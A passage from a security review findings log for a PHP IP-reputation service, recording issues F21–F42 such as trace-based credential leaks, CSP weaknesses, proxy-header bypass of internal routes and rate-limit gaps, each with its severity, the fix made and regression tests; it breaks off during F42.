Operator note: when adding a new writable path to the runtime (e.g. a cache dir, a queue spool, an upload staging area), declare it as either a named volume or a tmpfs in compose — writes anywhere else now fail with EROFS. F22 (scheduler) is scoped separately; this commit does not change compose.scheduler.yml.

F21 — getTraceAsString logged in production may leak plaintext credentials

Files: api/src/Infrastructure/Http/JsonErrorHandler.php:48, api/src/Infrastructure/Jobs/JobRunner.php:91

Risk: PHP's stringified backtrace inlines scalar arguments to each frame. An exception thrown from inside password_verify, a Guzzle request setter, or any function called with a token/password as an argument writes the plaintext secret into the trace. SecretScrubbingProcessor matches Argon2/bcrypt hashes and irdb_* token shapes but does not match arbitrary plaintext passwords or generic OIDC client_secret values, so password-spray and OIDC misconfig errors leak via stdout logs.

Severity: 2

Status: Fixed. Both call sites now route through App\Infrastructure\Logging\SafeTrace::format(), which walks Throwable::getTrace() (and the getPrevious() chain) and renders one frame per line as #N file(line): Class::method() — the args element is dropped entirely, so no scalar argument can ever reach a log record regardless of the secret-scrubber's pattern list. JsonErrorHandler and JobRunner no longer call getTraceAsString(). Regression test in api/tests/Unit/Logging/SafeTraceTest.php covers single-frame arg suppression, Caused by chain walking, and the rendered frame layout.

F22 — compose.scheduler.yml runs apk add at every container start

File: compose.scheduler.yml:3-8

Risk: image: alpine:3 (no digest, no minor pin) plus apk add --no-cache curl tini at runtime means each restart pulls whatever Alpine ships that minute. A compromise of the Alpine package mirror (or typosquatting) gets root in the scheduler container, which holds INTERNAL_JOB_TOKEN and can call /internal/jobs/*. Pin the base image digest and the apk versions or build a real image.

Severity: 2

Status: Fixed. Replaced the inline image: alpine:3 + runtime apk add with a real build context at scheduler/. The new scheduler/Dockerfile pins FROM alpine:3.21@sha256:48b0309c… and installs curl=8.14.1-r2, tini=0.19.0-r3, ca-certificates=20260413-r0 at build time; restarts now reuse the locally-built image with no network fetch. The crontab (scheduler/scheduler.crontab) is baked into the image, which also removes the previously dangling ./docker/scheduler.crontab bind-mount path. The compose service runs read_only: true with no-new-privileges:true and only /run + /tmp tmpfs mounts; cap_drop: [ALL] was tested and rejected because busybox crond calls initgroups() before each fork and dies with "can't set groups" without CAP_SETGID. Verified end-to-end: docker compose -f docker-compose.yml -f compose.scheduler.yml up -d brings the sidecar up healthy and within one minute the api responds {"job":"tick","status":"success",...} to the scheduled curl.

F23 — jumbojett/openid-connect-php ^1.x constraint pins a major with historical CVEs

File: ui/composer.json:19

Risk: The ^1.0 constraint covers a major line that has had multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2). Given this library is the sole OIDC token-validation entry point, drift here is critical. Tighten to ^1.0.2 || ^2.0 after testing and run composer audit regularly.

Severity: 2

Status: Fixed in f66ceaf. ui/composer.json now requires jumbojett/openid-connect-php: "^1.0.2 || ^2.0", excluding the pre-1.0.2 versions that carry the iss-confusion advisory while still permitting an upgrade path to a future v2.x line. The composer.lock was regenerated against the new constraint (still resolves to v1.0.2, the latest published release) and ui regression tests pass unchanged. The "run composer audit regularly" half of the recommendation was already in place: scripts/ci.sh invokes composer audit --no-dev for both api and ui on every CI run (lines 84-85 and 109-110), so any future advisory against the locked version fails the build.

F24 — UI CSP allows script-src 'unsafe-inline' 'unsafe-eval'

File: ui/docker/Caddyfile:33

Risk: 'unsafe-inline' permits inline <script> blocks AND inline event handlers (x-on:click, onclick). Any stored or reflected XSS sink elsewhere in the app executes unimpeded. The trade-off is documented (Alpine.js v3 Function() evaluator), but CSP is here a defence-in-depth string only — XSS is fully exploitable without strict CSP. Migrating to nonces or hashed scripts and packaging Alpine-with-CSP-build would close the gap.

Severity: 2

Status: Fixed. script-src is now 'self' 'nonce-…' only — 'unsafe-inline' and 'unsafe-eval' are gone. Two changes close it:

Per-request CSP nonce. App\Http\CspMiddleware mints a 16-byte URL-safe nonce per request, exposes it on the request attribute and as the Twig csp_nonce global, and stamps a fresh Content-Security-Policy: …; script-src 'self' 'nonce-…'; … header on the response. The static CSP block is removed from ui/docker/Caddyfile because the nonce changes per response and Caddy can't see that. The only inline <script> left in the codebase — the FOUC dark-mode preloader in ui/resources/views/layout.twig — carries nonce="{{ csp_nonce }}".

Alpine.js CSP build. Switched ui/package.json from alpinejs to @alpinejs/csp, which never calls Function() and so does not need 'unsafe-eval'. The CSP build forbids inline expressions in x-data / x-on: / x-show / x-bind, so every component lives in ui/resources/js/app.js registered via Alpine.data(name, …) (toggle, rowExpander, kindSwitcher, submitGuard, dangerousAction, loginForm, decayPreview, policyPreview, policyScoreDistribution, scoreOverTime, rawTokenCopy). Initial values are read from data-* attributes on the root element, not interpolated into attribute expressions. The audit-page datetime-local helper and three previously per-page inline <script> blocks (categories, ips/detail, policies) are inlined into app.js. Regression tests:

ui/tests/Unit/Http/CspMiddlewareTest.php covers nonce uniqueness, URL-safe alphabet, the script-src + frame-ancestors shape, and middleware integration.

ui/tests/Integration/App/CspHeaderTest.php boots the full Slim app and asserts: every response carries CSP, the layout <script nonce> value matches the response header's 'nonce-…', nonces rotate across requests, and no inline DOM event handlers or x-data="{…}" object literals leak into the rendered HTML.

F25 — Trusted-proxy XFF rewrite + private_ranges may allow /internal/* bypass

Files: api/docker/Caddyfile:7-11, 50-62, api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35, docker-compose.yml:15-16

Risk: Caddy is configured trusted_proxies static private_ranges, so it honors X-Forwarded-For and rewrites REMOTE_ADDR whenever the immediate peer is in any RFC1918 range. The api container's port 8081 is published. In a deployment where another container on the same docker bridge or a misconfigured host-iptables rule reaches port 8081 from a 172.16/12 source, both the Caddyfile gate (remote_ip 127.0.0.1/32 ::1/128 ...) and the PHP InternalNetworkMiddleware see a forged source. The INTERNAL_JOB_TOKEN is still required, but the network-layer defense is bypassable on tenant-shared docker hosts.

Severity: 2

Status: Fixed. Three layers tighten the gate to loopback-only by default; everything else has to opt in explicitly:

Caddy trusted_proxies narrowed. api/docker/Caddyfile replaces trusted_proxies static private_ranges with trusted_proxies static {$TRUSTED_PROXIES:127.0.0.1/32 ::1/128}. With no env override, only loopback is treated as a "real proxy" for XFF rewriting — so a non-loopback peer can no longer forge REMOTE_ADDR=127.0.0.1 via X-Forwarded-For. Operators behind a genuine reverse proxy set TRUSTED_PROXIES to that proxy's CIDR.

Caddy @internal matcher narrowed. The remote_ip allowlist for /internal/* is now 127.0.0.1/32 ::1/128 only — the wide RFC1918 entries (172.16.0.0/12, 10.0.0.0/8, 192.168.0.0/16) are gone. Mirrored on the opposite not remote_ip deny rule.

PHP InternalNetworkMiddleware constructor-driven. The hardcoded RFC1918 list is gone; the constructor now takes an optional CIDR list and falls back to DEFAULT_ALLOWED_CIDRS = ['127.0.0.1/32', '::1/128']. The DI container reads INTERNAL_CIDR_ALLOWLIST from env (parsed by a new parseCidrList() helper that fails-closed on invalid input) and passes the result to the middleware. Operators with a host- cron VM on a private bridge add their CIDR via env and Caddyfile.

Sidecar scheduler joins the api's network namespace. compose.scheduler.yml switches to network_mode: "service:api" and scheduler.crontab posts to http://localhost:8081/... instead of http://api:8081/.... The scheduler's call now arrives on 127.0.0.1 inside the shared netns, satisfying the loopback-only gate without weakening it for actual neighbours. SPEC §7 ("Scheduling") and §6 ("Internal endpoints") updated to match. Regression tests in api/tests/Unit/Http/InternalNetworkMiddlewareTest.php: the data provider now expects RFC1918 sources to be rejected under the default; new cases cover (a) null / [] falling back to the loopback default, (b) a custom 172.20.0.5/32 allowlist admitting only that exact source, (c) invalid CIDRs failing-closed at construction, and (d) the parseCidrList() env-parser accepting comma- and whitespace-separated input while throwing on garbage.

F26 — JsonErrorHandler can leak raw exception messages in production

File: api/src/Infrastructure/Http/JsonErrorHandler.php:53-82

Risk: The "hide details in prod" guard fires only when status ≥ 500. The HttpException branch returns [$e->getCode(), ['error' => $e->getMessage()]] for codes anywhere in 400–499 — attacker-influenced messages are returned verbatim. The catch-all branch passes $e->getMessage() into the payload and only overwrites it with 'internal error' when status ≥ 500 AND !expose. Internal exception types (DBAL, PDO, parse errors) whose getCode() happens to be in the 4xx range bypass suppression and return raw messages.

Severity: 2

Status: Fixed in ce77454. JsonErrorHandler now maps every HTTP status to a fixed STATUS_TOKENS lookup (bad_request, forbidden, too_many_requests, …) and only emits that canonical token in the error field. Throwable::getMessage() is no longer echoed to clients in production for any branch — HttpException, HttpNotFoundException, HttpMethodNotAllowedException, or catch-all. Out-of-range getCode() (including the default 0 from new HttpException(...)) is clamped to 500. Non-HttpException Throwables always collapse to status 500 regardless of their numeric code, closing the previous 4xx-bypass path. The raw exception class + message are only added under a separate detail key when $displayErrorDetails (Slim) or $exposeDetails (dev env) is on. New unit-test suite JsonErrorHandlerTest covers the canonical responses for HttpNotFound/HttpMethodNotAllowed/HttpBadRequest/HttpForbidden/ HttpInternalServerError, the generic-Throwable 500 path, the 4xx-numeric-code-on-non-HttpException no-leak case, the clamp on code=0, the unmapped-but-valid 418 fallback, the dev-mode detail shape, and the per-request displayErrorDetails override.

F27 — RateLimitMiddleware is skipped when no principal is present

Files: api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36

Risk: The middleware bails out and forwards unrate-limited if $principal is missing. Anything outside the public group (admin/auth/internal/health/docs) receives no rate limiting. Auth-failed paths (401 from TokenAuthenticationMiddleware) never reach RateLimitMiddleware either — a client hammering with invalid bearer tokens incurs DB lookups (and last_used_at writes on hits) with zero backoff, pinning DB pool / connection budget.

Severity: 2

Status: Fixed in 060119a. RateLimitMiddleware no longer bypasses on missing principal; it now derives the bucket key from whichever signal is present:

principal attached → token:<tokenId> (post-auth, original behaviour),

principal missing → ip:<REMOTE_ADDR> (pre-auth, new fail-closed path; empty/absent REMOTE_ADDR collapses to a single ip:unknown bucket so we never silently bypass). RateLimiter::tryConsume() now accepts arbitrary string keys so these namespaces stay independent — a single user's per-token bucket cannot drain the per-IP bucket that throttles unauthenticated traffic.

AppFactory registers RateLimitMiddleware twice on /api/v1/* and /api/v1/auth/*: once as the outermost layer (runs before TokenAuthenticationMiddleware, consumes from the IP bucket) and once between AuditContext and the handler (consumes from the token bucket once a principal is attached). The pre-auth position is what closes the 401-bypass: invalid-bearer floods now hit the IP bucket and 429 before the request reaches tokens.findByHash().

Admin/internal/health/docs route groups still have no rate limit — that is the scope of F29 (admin) and existing internal-network / loopback gating, not this finding.

Tests:
- `RateLimiterTest::testTokenAndIpNamespacesDoNotShareABucket`
  verifies the namespaces hold separate buckets.
- New `RateLimitMiddlewareTest` covers token-keyed buckets,
  IP-keyed fallback, per-IP isolation, and the
  missing/empty `REMOTE_ADDR` `ip:unknown` collapse.
- `RateLimitTest::testInvalidBearerTokenFloodIsRateLimitedBeforeAuth`
  sends 20 requests with a junk bearer; the first 4 reach the
  auth path (401), the rest 429 before any DB lookup.
- `RateLimitTest::testMissingBearerHeaderIsAlsoRateLimitedByIp`
  covers the no-Authorization-header case on `/api/v1/blocklist`.
F28 — Rate limiter buckets are per-process, unbounded, and reset per replica

File: api/src/Infrastructure/Http/RateLimiter.php:23-49

Risk: $buckets is unbounded and never evicted (token churn balloons memory in long-lived FrankenPHP workers). Multi-replica deployments give an attacker a fresh bucket per replica — effective rate is (perSecond) * N_replicas per token behind a non-sticky LB. Idle/revoked tokens linger forever until container restart.

Severity: 2

Status: Fixed in e09964b. RateLimiter now caps the bucket map at a configurable maxBuckets (default 10 000). Every tryConsume() re-inserts the touched key at the end of the PHP array so insertion order tracks LRU; on overflow the oldest entries get dropped in batches of 256 so eviction amortises across requests instead of running on every call once we're at steady state. A dropped bucket comes back as a fresh full-capacity bucket on next access — equivalent to the bucket having idled long enough to refill, so eviction never grants more tokens than the configured rate would already permit. The cap kills the unbounded-growth path and short-circuits the "idle/revoked tokens linger forever" leak: once a rotated/revoked token's bucket is the LRU front, the next eviction drops it. The multi-replica half is a SPEC §10 topology constraint (single-replica is the documented supported topology for the limiter; horizontal api scaling requires sticky LB) and is tracked separately as future scaling work to swap the in-process map for a shared backend (Redis / DB). Regression tests in api/tests/Unit/Http/RateLimiterTest.php (testBucketMapIsBoundedByMaxBucketsCap, testEvictedBucketReturnsAtFullCapacityOnReuse, testRecentlyTouchedKeyIsNotEvicted, testMaxBucketsBelowEvictionBatchIsRejected).

F29 — /api/v1/admin/* group has no rate limit

File: api/src/App/AppFactory.php:188-337

Risk: The admin group attaches tokenAuth → impersonation → auditContext but not $rateLimit. Combined with F30 (slow searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any compromised Viewer token (Viewer is the OIDC default role) can issue unlimited heavy queries.

Severity: 2

Status: Fixed in a997d65. The admin route group now attaches RateLimitMiddleware in the same two-position pattern used by the public and auth groups (SEC_REVIEW F27): once as the outermost layer (pre-auth, ip:<REMOTE_ADDR> bucket — throttles invalid-bearer floods before TokenAuth queries the DB) and once innermost (post-auth, token:<tokenId> bucket — caps an authenticated Viewer driving the heavy admin queries flagged by F30/F31/F32). The order added is rateLimit(token) → auditContext → impersonation → tokenAuth → rateLimit(ip) so execution runs ip → tokenAuth → impersonation → auditContext → token → controller. Mitigates F29 directly and bounds the impact of F30/F31/F32 until those land their own fixes. Regression tests in api/tests/Integration/Public/RateLimitTest.php (testAdminRoutesAreRateLimited — replaces the prior testAdminRoutesNotRateLimited which encoded the bug as expected behaviour — and testAdminAuditLogIsRateLimitedPerToken).

F30 — IpScoreRepository::searchIps allows full-table scan via q=%X%

File: api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307

Risk: For any q value not matching /^[\da-fA-F:.]+$/, the query degrades to LIKE '%q%', forcing a full ip_scores table scan + GROUP BY ip_bin, ip_text (no index supports a non-anchored LIKE). At the SPEC's 50k-row target this is slow. Pair with min_score/max_score HAVING and the LEFT JOIN on ip_enrichment (joined whenever country or asn is supplied) and a Viewer can drive pathological execution per request. There is no statement timeout. Each request also runs a separate COUNT(*) over the same wrapped subquery, doubling cost.

Severity: 2

Status: Fixed in 2cc1924. IpsController::parseSearchFilters rejects any q that doesn't match /^[0-9a-fA-F:.]+$/ or exceeds 64 chars (IPv6 max is 39) with 400 validation_failed, so the non-anchored substring path can no longer be reached from the API. IpScoreRepository::searchIps drops the %q% branch entirely — the only LIKE shape it ever issues is s.ip_text LIKE 'q%', and it re-validates q with the same regex as defence-in-depth so a future caller cannot accidentally reintroduce a full-table scan. Same change incidentally closes F46 (%/_ wildcard injection in the IPs search), since neither character survives the regex. Pre-auth and per-token admin rate limits added under F29 bound the cost of even the legitimate prefix path. The remaining COUNT(*) cost on deep filters is tracked under F31/F32. Regression tests in api/tests/Integration/Admin/IpsControllerTest.php (testSearchRejectsNonIpShapedQuery, testSearchRejectsOverlongQuery, testSearchQueryIsPrefixAnchoredNotSubstring).

F31 — AuditController has no length cap, no max-offset cap, deep-offset scans

Files: api/src/Application/Admin/AuditController.php:58-101, api/src/Infrastructure/Audit/AuditRepository.php:68-129

Risk: action, entity_type, entity_id, subject_id are passed unfiltered. With page_size=200 and large offset, LIMIT 200 OFFSET huge causes a deep scan over audit_log. No max-offset cap. COUNT(*) runs on every paginated request. A logged-in Viewer can hit ?page=999999&page_size=200 to force scans repeatedly.

Severity: 2

Status: Fixed in 3a2564d. AuditController::list now bounds every free-form filter (action, entity_type, entity_id, subject_kind, subject_id) to MAX_FILTER_LENGTH = 128 chars and rejects any computed offset above MAX_OFFSET = 10 000 with 400 validation_failed ({"page": "pagination depth exceeded; useto=to cursor into older rows"}). The cap is large enough to comfortably page through human-driven browsing (offset 10 000 covers 200 pages of 50 or 50 pages of 200) but bounds the LIMIT n OFFSET huge worst case the finding describes. The request-time COUNT(*) cost is bounded by the same gate — once a Viewer can't drive offsets past 10 k, the count's cost is bounded by the WHERE-clause's selectivity instead of by attacker choice; the per-token admin rate limit added under F29 caps how often a Viewer can issue these counts. Regression tests in api/tests/Integration/Admin/AuditLogControllerTest.php (testOversizedFilterRejected, testDeepOffsetRejected, testDeepOffsetAtBoundaryAccepted).

F32 — Admin list endpoints execute N+1 enrichment lookups per page row

Files: api/src/Application/Admin/IpsController.php:84-86, 187-190, api/src/Application/Admin/AdminControllerSupport.php:67-77

Risk: IpsController::list calls enrichment->findByIpBin() and effectiveStatusFor() per row. At page_size=200, that's 400+ DB roundtrips per request. With no admin rate limit (F29), this amplifies query cost significantly. Refactor to batch-load enrichment by ip_bin set.

Severity: 2

Status: Fixed in 0594305. IpsController::list no longer issues per-row lookups. Two new batch methods replace the inner loop: IpEnrichmentRepository::findByIpBins() runs a single WHERE ip_bin IN (…) SELECT and returns a bin-keyed map; IpScoreRepository::topCategoryByIpBins() runs one score > 0 AND ip_bin IN (…) ORDER BY ip_bin, score DESC SELECT and groups in PHP. The third per-row call — EffectiveStatusService::forIp — is replaced by effectiveStatusFromRow(), which derives the Scored decision from the search row's existing max_score column and reuses the in-memory CidrEvaluator for the Allowlisted / ManuallyBlocked checks (already O(1) hash lookups, loaded once per request). Net cost drops from 2 + 3·page_size round-trips per page (601 at page_size=200) to 4: search + count, plus the two batch lookups — invariant in page size. Combined with the per-token admin rate limit added under F29 and the deep-pagination guard added under F31, a Viewer can no longer drive query cost via either depth or per-row amplification. Regression tests in api/tests/Integration/Admin/IpsControllerTest.php (testSearchBatchesPerRowLookups, testSearchStatusUsesMaxScoreColumn).

Severity 1 — low / informational

F33 — OidcClaims->email is ?string but upsertOidc types it as string

Files: api/src/Infrastructure/Auth/UserRepository.php:65-71, ui/src/Auth/JumbojettOidcAuthenticator.php:56-61

Risk: Type-system finding rather than direct exploit; a TypeError at the boundary on null email. Downstream merge-by-email tools could later confuse two users since the OIDC primary key is subject but some IdPs don't release email.

Severity: 1

Status: Fixed. UserRepository::upsertOidc now types email as ?string and the DBAL upsert persists users.email = NULL when the IdP doesn't release the claim. AuthController::upsertOidc switches to a nullableStr() extractor for email (missing / JSON-null / empty string all collapse to null); subject and display_name remain mandatory. The user.created / user.role_changed audit rows fall back to display_name for target_label when email is null, so SOC tooling still gets a human-readable identifier. Regression tests in api/tests/Integration/Auth/AuthEndpointsTest.php (testUpsertOidcAcceptsMissingEmail, testUpsertOidcAcceptsExplicitNullEmail, testUpsertOidcStillRejectsMissingSubject, testUpsertOidcStillRejectsMissingDisplayName).

F34 — Sensitive identifiers logged at INFO/WARN/ERROR

Files: ui/src/Auth/LoginThrottle.php:79-90, ui/src/Auth/OidcController.php:84

Risk: Attempted usernames (which can include passwords typed in the wrong field), source IPs, and OIDC subjects are logged in plaintext. SIEM exports / log access by lower-trust operators amount to accidental disclosure.

Severity: 1

Status: Fixed. New App\Logging\LogIdentifier::fingerprint() helper produces a stable 12-hex-char SHA-256 prefix of any sensitive identifier; an empty input collapses to the empty sentinel so log matching doesn't fold an absent field into the SHA-256-of-empty bucket. LoginThrottle::recordFailure() now logs username_fp and source_ip_fp instead of the raw values on both the per-IP and per-username buckets, on both the failure-with-no-lock and lockout-triggered paths. OidcController logs subject_fp instead of subject on the user_disabled denial and the no-role-assigned branch. Triage by counting hits on a single fingerprint still works; a SIEM reader no longer sees passwords typed in the username field, raw client addresses, or IdP sub claims. (The fingerprint is not cryptographic protection against an attacker with full log access who is willing to brute-force a small space such as the IPv4 universe — that threat is out of scope for F34, which targets accidental disclosure.) Regression tests: ui/tests/Unit/Logging/LogIdentifierTest.php, LoginThrottleTest::testRecordFailureLogsFingerprintsNotRawIdentifiers, and the two new OidcFlowTest::test{NoneRoleDoesNotLogRawSubject,DisabledUserDeniedDoesNotLogRawSubject} cases (the latter exercised via a new AppTestCase::captureLogs() helper that swaps in a Monolog TestHandler).

F35 — INTERNAL_JOB_TOKEN has no minimum-length enforcement at startup

File: api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47

Risk: hash_equals is correct, but a misconfigured deploy with INTERNAL_JOB_TOKEN=foo is accepted as long as it is non-empty. Network gate (InternalNetworkMiddleware) limits exposure but combined with F25 a docker-network neighbour can brute-force a weak token. Validate at startup that the token is at least 32 hex chars or refuse to boot.

Severity: 1

Status: Fixed. New App\App\Config::validateOrExit() (mirrors the ui's App\App\Config::validateOrExit) runs from api/public/index.php before Container::build(). It refuses to boot unless INTERNAL_JOB_TOKEN matches ^[0-9a-fA-F]{32,}$, writing a clear human-readable error to STDERR and exit(1)-ing so the misconfiguration crashes on docker compose up rather than serving /internal/* to a docker-network neighbour with a weak shared secret. 32 hex chars = 128 bits of entropy; the .env.example documents 64 (from openssl rand -hex 32) and that remains the recommendation. The middleware's own runtime branch (if ($expectedToken === '') { unauthorized; }) stays in place as a belt-and-braces defence-in-depth check for tests and for the hypothetical case where a future call site builds the container directly without going through public/index.php. Tests bypass the validator (they call Container::build($settings) directly with empty values), so the fix doesn't perturb AppTestCase. Regression tests in api/tests/Unit/App/ConfigTest.php cover empty / missing- key / short-hex / non-hex / 'foo' / 32-char-hex / 64-char-hex / uppercase-hex, and a subprocess test asserts validateOrExit() writes the error to STDERR and exits 1.

F36 — UI session role/identity is captured at login and never re-validated

Files: ui/src/Http/AuthRequiredMiddleware.php:27-32, ui/src/Auth/SessionManager.php:84-99

Risk: If an OIDC user is removed from an admin group in Entra, or a user record is deleted/disabled in the api, the existing UI session continues to operate with the stale role until expiry (8h idle / 24h absolute). No "revoke session by user_id" primitive.

Severity: 1

Status: Fixed. AuthRequiredMiddleware now periodically revalidates the cached UserContext against GET /api/v1/admin/me. Cadence is configurable via UI_SESSION_REVALIDATE_SECONDS (default 300 seconds — 5 minutes); the middleware tracks the last revalidation timestamp in a new _revalidated_at session slot owned by SessionManager. Branches:

403 from the api (user_disabled or unknown impersonated user) → session cleared, error flash "Your access was revoked. Please sign in again.", 302 to /login. The api's existing F11 disabled- user path drives this from the server side, so Disabled / deleted users are kicked off all live sessions within one revalidation window.

404 → defensive same-as-403 (the api currently always returns 403 for missing/disabled users; treat 404 the same way for safety).

200 with changed role / display_name / email → SessionManager::updateUser() rewrites the cached row but preserves _authenticated_at / _last_active so the 8h idle and 24h absolute timeouts keep running off the original login.

200 unchanged → just bump _revalidated_at.

api unreachable / 401 / 5xx / generic → log a warning, mark revalidated to avoid grinding on every request, and proceed with the existing session. An api outage must not lock every live session out, and the api itself is the authoritative gate on every data call (it re-resolves the principal via X-Acting-User-Id per request, F11), so a stale UI cache during an outage cannot escalate privilege. Pre-F36 ("legacy") sessions without _revalidated_at are bootstrapped on first sight without an api call, so existing rolling sessions don't all stampede the api on deploy. Tests: ui/tests/Integration/Auth/SessionRevalidationTest.php covers within-interval (no api call), past-interval-no-change, past-interval-role-changed (admin → viewer is reflected immediately), user_disabled and unknown-user kick paths, api-unreachable-keeps-session, and the legacy-session bootstrap.

F37 — Local-admin password hash algorithm not validated at boot

File: ui/src/Auth/LocalLoginController.php:42, 78

Risk: No check that LOCAL_ADMIN_PASSWORD_HASH is Argon2id (or bcrypt cost ≥ 12). An operator who passes $2y$04$… (cost 4) or a legacy $1$… MD5-crypt string would have it accepted. Use password_get_info() and refuse to enable local-admin if the algorithm is below threshold.

Severity: 1

Status: Fixed. App\App\Config::validateOrExit (called from Bootstrap::run() before Container::build()) now refuses to boot when LOCAL_ADMIN_ENABLED=true and the configured LOCAL_ADMIN_PASSWORD_HASH is anything other than Argon2id or bcrypt with cost ≥ 12 (new Config::BCRYPT_MIN_COST constant). The algorithm is read via password_get_info(), so unknown / legacy formats ($1$… md5-crypt, $5$… sha256-crypt, plain text, base64 noise) all collapse into the rejection branch with the same human-readable message pointing the operator at password_hash('…', PASSWORD_ARGON2ID). argon2i is also rejected because it doesn't meet the SEC_REVIEW threshold even though password_hash accepts it. Tests: bypass the validator (the Bootstrap::container() test path is unchanged), so existing fixtures continue to use Argon2id without ceremony. Regression tests in ui/tests/Unit/App/ConfigTest.php cover Argon2id-accept, bcrypt-cost-12-accept, bcrypt-cost-4-reject, argon2i-reject, md5-crypt-reject, plain-string-reject, empty-string-reject, and the "local admin disabled, hash not checked" branch (operators who run OIDC-only don't have to invent a strong dummy hash).

F38 — Disabled local-admin returns 404 before throttle, allowing unrestricted hammering

File: ui/src/Auth/LocalLoginController.php:60-62

Risk: When localAdminEnabled === false, the controller 404s with no rate-limit. Worker threads still serve the request — a cheap DoS lever on environments with the local path disabled.

Severity: 1

Status: Fixed. LocalLoginController::postLocal now records a LoginThrottle failure on the disabled-path branch before returning the 404. The bucket key is ('', source_ip) — an empty username sentinel — so all hits from one source IP fold into the same per-IP bucket regardless of what username field the attacker happens to submit, defeating a rotating-username spray. Once locked, additional hits skip recordFailure (the gate is if (!isLocked) recordFailure), so the throttle file size is bounded by the lockout ladder rather than by attacker request volume. The 404 status code is preserved on both the locked and unlocked branches so the response doesn't leak the lockout state to a probing attacker. Regression tests in ui/tests/Integration/Auth/LocalLoginTest.php: testDisabledLocalAdminRecordsThrottleFailure (5 hits with rotating usernames from one IP trip the lockout) and testDisabledLocalAdminLockedHitDoesNotIncrementBucket (50 more hits while locked don't extend the lockout window).

F39 — Token base32 encoding has trailing-bit ambiguity

Files: api/src/Domain/Auth/Token.php:18, 47, api/src/Domain/Auth/TokenIssuer.php:26-43

Risk: The encoder zero-pads the final 5-bit chunk, so the last base32 char encodes only 4 useful bits — 32 possible last characters decode to 16 distinct values modulo the unused bit. No exploit found (lookup is by SHA-256 of the raw input), but the parser should refuse base32 strings whose final character has the unused bit set.

Severity: 1

Status: Fixed. The original review concern was based on the visible if (strlen($chunk) < 5) { $chunk = str_pad($chunk, 5, '0'); } branch in TokenIssuer::base32Encode. For the actual input — random_bytes(20) = 160 bits — that branch was unreachable: 160 ÷ 5 = 32 with zero remainder, every base32 char in the 32-char output carries a full 5 useful bits, and there is exactly one canonical encoding per input. So there are no unused trailing bits and no ambiguity in the existing scheme. The dead str_pad branch (the source of the false-positive impression) is removed; the encoder now hard-asserts strlen($bytes) === 20 and throws InvalidArgumentException otherwise, so any future caller that passes a different length crashes loudly rather than silently emitting a non-canonical / shorter token. The 20-byte length is pinned via a new TokenIssuer::ENTROPY_BYTES = 20 constant. The parser (Token::parse) keeps its ^[A-Z2-7]{32}$ body pattern; every 32-char base32 string is canonical for this scheme so no additional canonicality gate is needed. Regression test TokenIssuerTest::testIssuedBodyAlwaysExactlyThirtyTwoBase32Chars asserts the invariant across 100 fresh issuances.

F40 — CSRF token never rotated on session-id regeneration

Files: ui/src/Http/CsrfMiddleware.php:53-60, ui/src/Auth/SessionManager.php:67-75, 77-82

Risk: regenerateId() rotates session_id on login but the $_SESSION['_csrf'] token carries over across the privilege boundary. A pre-auth token leaked via referer or a sub-resource remains valid post-auth for the session lifetime. Standard hardening: regenerate the CSRF token on login/logout. (clear() resets $_SESSION to [] so logout is fine.)

Severity: 1

Status: Fixed. SessionManager::regenerateId() now also drops the _csrf slot on both branches (HTTP session_regenerate_id(true) and the CLI rotateIdUnderCli fallback). CsrfMiddleware lazily mints a fresh token on the next request when the slot is missing, and every call site of regenerateId() is followed by a 303 / 302 redirect (no template render in the same request), so the next protected GET re-issues a clean token before any state-changing request. clear() already wipes $_SESSION outright on logout, so the rotate-on-id-rotate hook on regenerateId covers the login direction; an attacker who scraped the pre-auth token via Referer or a sub-resource leak cannot replay it post-auth. New KEY_CSRF constant on SessionManager mirrors CsrfMiddleware::SESSION_KEY to avoid a domain → http-layer dependency. Regression tests in ui/tests/Unit/Auth/SessionManagerTest.php (testRegenerateIdRotatesCsrfTokenInCliMode / …InHttpMode) and end-to-end through Slim in ui/tests/Integration/Auth/LocalLoginTest.php (testCsrfTokenIsRotatedAcrossLoginPrivilegeBoundary).

F41 — Reporter / consumer audit_enabled is mass-assignable via PATCH

Files: api/src/Application/Admin/ReportersController.php:178-184, api/src/Application/Admin/ConsumersController.php:184-190

Risk: Admin-gated, but an attacker with Admin can silently disable report.received / blocklist.requested audit emission for a reporter/consumer before performing further activity, then re-enable. No special-class audit signal flags the toggle.

Severity: 1

Status: Fixed. Two new audit actions — AuditAction::REPORTER_AUDIT_TOGGLED (reporter.audit_toggled) and AuditAction::CONSUMER_AUDIT_TOGGLED (consumer.audit_toggled) — fire from the PATCH handlers whenever audit_enabled actually flips (no-ops, e.g. PATCHing the field to its current value, do not emit). The standard reporter.updated / consumer.updated rows continue to carry the full field diff for context, so existing observers keep working; the new action is the flat alertable signal SOC tooling can match on with WHERE action IN ('reporter.audit_toggled', 'consumer.audit_toggled') rather than walking into the metadata changes blob. Both rows live in the same DB transaction as the underlying update, so a partial commit cannot hide the toggle while the field flips. The UI's AuditController filter dropdown is extended to expose the new actions. Regression tests in api/tests/Integration/Admin/ReportersControllerTest.php and …/ConsumersControllerTest.php: testAuditEnabledToggleEmitsDedicatedAuditRow (toggle fires both rows; metadata records from/to booleans) and testAuditEnabledNoOpDoesNotEmitDedicatedRow (PATCH with the same value does not fire the dedicated signal).

F42 — UI policy proxy controllers rely entirely on API for role enforcement

File: ui/src/Controllers/PoliciesController.php:61-118

Risk: previewProxy / scoreDistributionProxy only check getUser() === null and forward to the API with the session userId as X-Acting-User-Id. Currently safe because API gates the underlying endpoint to Viewer, but if the API role drifts the UI silently allows access until an API 403 surfaces. Defense-in-depth: enforce the role expectation in the UI controller.

Severity: 1

